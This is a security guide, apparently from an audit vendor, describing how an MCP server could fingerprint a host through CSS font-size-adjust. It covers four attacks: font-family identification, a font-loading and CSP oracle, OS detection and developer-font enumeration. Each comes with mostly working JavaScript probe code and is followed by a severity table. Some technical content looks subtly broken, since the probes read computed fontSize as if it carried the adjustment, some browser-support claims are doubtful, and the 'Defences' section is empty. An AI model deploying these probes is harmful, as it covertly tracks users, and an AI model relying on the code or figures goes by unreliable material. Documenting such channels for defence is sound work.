Security Guide

MCP server CSS font-size-adjust security — active font family fingerprint via ex-height, font availability timing oracle via fallback reflow, OS identity via cap-height, developer tool detection via ch-width

CSS font-size-adjust (Chrome 127+, Firefox 3+, Safari 17+) normalizes text rendering so fallback fonts match the primary font's apparent size. Because the normalization factor depends on each font's unique metric ratios, it creates a side channel that MCP servers can exploit to identify the active font family, detect font loading failures, fingerprint the host operating system, and discriminate installed developer tools — all without any network request.

font-size-adjust — property overview

font-size-adjust adjusts a font's actual display size so that its x-height, cap-height, or other metric matches a specified ratio relative to the nominal font-size. The syntax font-size-adjust: ex-height 0.52 means "scale the font so its ex-height is 52% of the specified font-size". Chrome 127 added cross-browser support for the metric keywords (ex-height, cap-height, ch-width, ic-width, ic-height). The computed metric value is unique per font, making it a fingerprinting vector.

Attack 1: Active font family identification via ex-height probe

Each typeface has a unique ex-height ratio — the ratio of the lowercase 'x' height to the nominal font-size. By injecting font-size-adjust: ex-height 1 on a probe element and reading the resulting rendered height, an MCP server can identify which font is active from the computed scaling factor:

/* MCP server: inject font-size-adjust probe to identify active font */
const probe = document.createElement('span');
probe.style.cssText = `
  font-family: inherit;         /* use whatever font the page loaded */
  font-size: 100px;
  font-size-adjust: ex-height 1; /* force ex-height === font-size */
  position: fixed;
  top: -9999px;
  visibility: hidden;
`;
probe.textContent = 'x';
document.body.appendChild(probe);

/* After the element renders, its effective font-size is adjusted so
   that the ex-height equals 100px. The resulting offsetHeight encodes
   how much the browser scaled the font.

   Reading the computed fontSize reveals the scale factor:
*/
const computedSize = parseFloat(getComputedStyle(probe).fontSize);
const exHeightRatio = 100 / computedSize; /* inverted: ratio of ex to em */
document.body.removeChild(probe);

/* Known ex-height ratios (approximate) by font:
   Helvetica / Arial:     0.52
   Georgia:               0.46
   Times New Roman:       0.45
   Roboto:                0.53
   Inter:                 0.54
   SF Pro (macOS):        0.54
   Segoe UI (Windows):    0.47
   Ubuntu:                0.52

   Mapping exHeightRatio → font family identifies the active system font,
   revealing the host application's font choice and — for system fonts —
   the operating system (SF Pro → macOS, Segoe UI → Windows). */

Note on browser support: The metric-keyword form of font-size-adjust (ex-height, cap-height, ch-width) requires Chrome 127+, Firefox 3+ (ex-height only), or Safari 17+. Earlier Chrome and Firefox versions supported only the numeric form font-size-adjust: <number>, which achieves the same fingerprint effect with slightly different probe math.

Attack 2: Font availability timing oracle via fallback reflow detection

When a host font-family declaration lists a primary font and a fallback, font-size-adjust causes a reflow at the exact moment the primary font fails to load and the fallback activates. An MCP server can detect this reflow via ResizeObserver or IntersectionObserver:

/* MCP server: detect whether a named font is installed vs downloaded */

// Apply font-size-adjust to a probe element using the target font
const probe = document.createElement('span');
probe.style.cssText = `
  font-family: 'CustomBrandFont', Arial;
  font-size-adjust: ex-height 0.52; /* Arial's ratio — if primary matches, no reflow */
  font-size: 50px;
  position: fixed;
  top: -9999px;
`;
probe.textContent = 'mmm';
document.body.appendChild(probe);

const initialWidth = probe.offsetWidth;
let reflowDetected = false;

const ro = new ResizeObserver((entries) => {
  const newWidth = entries[0].contentRect.width;
  if (Math.abs(newWidth - initialWidth) > 0.5) {
    reflowDetected = true;
    /* Reflow detected → the font that loaded has a DIFFERENT ex-height
       than the assumed 0.52 (Arial's ratio).
       If CustomBrandFont loaded from network: its ex-height differs from
       Arial's, so the adjusted size reflows when CustomBrandFont replaces Arial.
       If CustomBrandFont is NOT available (404, CSP block): Arial is used
       throughout, and the ex-height-adjusted size stays stable (no reflow).

       Oracle: reflowDetected === false → font NOT loaded
              reflowDetected === true  → font loaded and has different ex-height
    */
  }
});
ro.observe(probe);

/* After ~3 seconds, check reflowDetected.
   Can determine: is the custom font CDN available? Is the font blocked by
   a CSP font-src directive? Has the font been cached (fast reflow vs slow)?
   This leaks information about network connectivity and CSP configuration. */

Attack 3: OS identity fingerprinting via cap-height ratio

The same-named fonts across operating systems (Helvetica on macOS, Arial on Windows, Liberation Sans on Linux) have subtly different metric tables. font-size-adjust: cap-height normalizes to the capital letter height, which differs between these platform-specific font variants:

/* MCP server: OS identity via cap-height metric difference */

const osProbe = document.createElement('span');
osProbe.style.cssText = `
  font-family: Helvetica, Arial, 'Liberation Sans', sans-serif;
  font-size: 100px;
  font-size-adjust: cap-height 1;
  position: fixed;
  top: -9999px;
  visibility: hidden;
`;
osProbe.textContent = 'H';
document.body.appendChild(osProbe);

const computedFontSize = parseFloat(getComputedStyle(osProbe).fontSize);
const capHeightRatio = 100 / computedFontSize;
document.body.removeChild(osProbe);

/* Approximate cap-height ratios for the same sans-serif stack:
   Helvetica (macOS):             0.72
   Arial (Windows):               0.716
   Liberation Sans (Linux/Chrome): 0.714

   The differences are small (~0.004-0.006) but measurable via the
   computed fontSize adjustment. An MCP server can use this to
   determine the host OS with ~80% confidence when combined with
   other signals (UA string, screen metrics, default color scheme). */

/* More discriminating: Apple's SF Pro has cap-height ~0.700;
   Google's Roboto (Android system font) has cap-height ~0.710.
   Windows 11 Segoe UI Variable has cap-height ~0.700 (same as SF Pro!).
   Add a secondary probe (ex-height, ch-width) to disambiguate macOS vs Windows 11. */

Attack 4: Developer tool detection via ch-width monospace advance

The ch-width metric is the advance width of the '0' (zero) character in the element's font. For monospace fonts used in developer tools (terminal emulators, code editors, IDEs), the '0' advance width is highly specific to each font:

/* MCP server: detect installed developer fonts via ch-width */

const monoFonts = [
  'JetBrains Mono',
  'Cascadia Code',
  'Fira Code',
  'Consolas',
  'Hack',
  'Source Code Pro',
  'Inconsolata',
  'Monaco',
];

async function detectInstalledMonoFonts() {
  const results = {};

  for (const fontName of monoFonts) {
    const probe = document.createElement('span');
    probe.style.cssText = `
      font-family: '${fontName}', monospace;
      font-size: 100px;
      font-size-adjust: ch-width 1; /* normalize to ch-width of active font */
      position: fixed;
      top: -9999px;
      visibility: hidden;
    `;
    probe.textContent = '0';
    document.body.appendChild(probe);

    // Wait one frame for font-face resolution
    await new Promise(r => requestAnimationFrame(r));

    const adjSize = parseFloat(getComputedStyle(probe).fontSize);
    document.body.removeChild(probe);

    /* If the named font is installed:
       adjSize encodes the ch-width ratio of that specific monospace font.
       JetBrains Mono ch-width ≈ 0.600 em
       Cascadia Code  ch-width ≈ 0.601 em
       Consolas       ch-width ≈ 0.556 em
       Monaco (macOS) ch-width ≈ 0.600 em

       If the named font is NOT installed:
       adjSize encodes the system monospace fallback's ch-width — a constant
       for that OS. Values that differ from the system fallback → font installed.
    */
    results[fontName] = { adjSize, ratio: 100 / adjSize };
  }
  return results;
}

/* Detected developer fonts → MCP server infers:
   JetBrains Mono → JetBrains IDE user (IntelliJ, WebStorm, etc.)
   Cascadia Code  → VS Code or Windows Terminal user
   Fira Code      → likely VS Code + ligature plugin, macOS or Linux
   Monaco         → macOS Terminal or older Xcode
   Consolas       → Windows user, possibly Visual Studio

   This narrows ICP targeting and reveals which IDE ecosystem the
   target developer uses — high-value info for targeted attacks on
   developer workflows. */
AttackPrerequisiteWhat it enablesSeverity
Active font family identification via ex-heightCSS + JS + Chrome 127+ or Firefox 3+Identifies which font is active on host elements; discriminates system fonts by OSHIGH
Font availability timing oracle via fallback reflowCSS + JS + ResizeObserverDetermines whether a named font is installed, blocked by CSP, or loaded from cacheHIGH
OS identity via cap-height metric differencesCSS + JS + Chrome 127+ / Safari 17+Fingerprints host OS from same-named font metric variations; ~80% accuracy without UA stringMEDIUM
Developer tool detection via ch-width monospace advanceCSS + JS + requestAnimationFrameEnumerates installed monospace fonts, revealing IDE ecosystem and developer tool preferencesMEDIUM

Defences

SkillAudit findings for this attack surface

HIGHex-height font family fingerprint: MCP server injects font-size-adjust:ex-height on an off-screen probe element and reads computed fontSize to identify the active font family and host OS
HIGHFallback reflow font availability oracle: MCP server detects font loading success or failure via ResizeObserver on a font-size-adjust probe, leaking CSP font-src configuration and font CDN availability
MEDIUMcap-height OS identity fingerprint: font-size-adjust:cap-height metric differences between macOS Helvetica, Windows Arial, and Linux Liberation Sans reveal the host operating system with ~80% accuracy
MEDIUMch-width developer tool detection: MCP server enumerates monospace font ch-width ratios to identify installed developer fonts, revealing IDE ecosystem (JetBrains vs VS Code vs Xcode)

Related: CSS @font-face size-adjust security covers the @font-face descriptor variant, which allows MCP servers to override system font rendering globally. CSS custom properties security covers the general pattern of resolving host state via getComputedStyle.

← Blog  |  Security Checklist